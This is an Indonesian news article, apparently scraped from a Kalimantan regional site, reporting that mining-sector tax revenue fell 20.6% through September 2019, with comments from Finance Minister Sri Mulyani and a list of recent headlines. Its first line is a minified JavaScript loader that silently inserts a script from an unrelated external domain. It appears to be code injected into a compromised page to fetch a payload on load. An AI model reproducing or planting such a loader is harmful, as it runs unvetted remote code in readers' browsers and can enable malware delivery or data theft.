(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Hingga September, Penerimaan Pajak Sektor Tambang Anjlok 20,6%


JAKARTA, Kementerian Keuangan mencatat penerimaan pajak pada sektor pertambangan hingga akhir September 2019 turun 20,6% menjadi Rp 43,21 triliun. Kondisi ini berbanding terbalik dibanding periode yang sama tahun lalu yang mencatatkan pertumbuhan hingga mencapai 69,9%.

Menteri Keuanagan Sri Mulyani Indrawati menjelaskan, penurunan penerimaan pajak terjadi karena perusahaan-perusahaan di sektor tersebut mengalami tekanan. “Ketika penerimaan mereka menurun, pembayaran pajak mereka juga akan menurun,” kata dia saat rapat kerja dengan Komisi Keuangan di Gedung Parlemen, Jakarta, Senin (4/11).

Hal tersebut, menurut dia, terutama dipengaruhi oleh harga sejumlah komoditas tambang, terutama batu bara yang merosot tajam. Adapun penurunan harga komoditas terjadi akibat pelemahan ekonomi global. Demikian dilansir katadata.co.id.

Sri Mulyani menjelaskan, perang dagang menekan pertumbuhan ekonomi global yang diproyeksi hanya mencapai 3% pada tahun ini. Di sisi lain, pertumbuhan volume perdagangan dunia pada tahun ini diperkirakan hanya mencapai 1,1%. “Ini merupakan pertumbuhan volume dagang yang terlemah sejak 10 tahun terakhir,” ujar dia.

Selain pada sektor tamabang, penurunan penerimaan pajak juga terjadi pada industri pengolahan. Hingga September, industri pengolahan mencapai Rp 245,61 triliun atau menurun 3,2% dibandingkan tahun lalu pada periode yang sama.

Padahal, penerimaan industri manufaktur pada September 2018 tumbuh 11,7%. Sebaliknya, sektor transportasi dan pergudangan mencatatkan pertumbuhan tertinggi sebesar 18,9% mencapai Rp 36,36 triliun. Penerimaan tersebut juga membaik dibandingkan tahun lalu yang tumbuh 12,6% secara tahunan.

Sebelumnya, Kementerian Keuangan (Kemenkeu) mencatat realisasi penerimaan pajak hingga Agustus 2019 mencapai Rp 801,02 triliun. Realisasi tersebut baru mencapai 50,78% dari target APBN 2019 yang sebesar Rp 1.577,56 triliun seperti tergambar dalam databooks di bawah ini.(ktd)


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

11 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

13 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

14 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

15 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.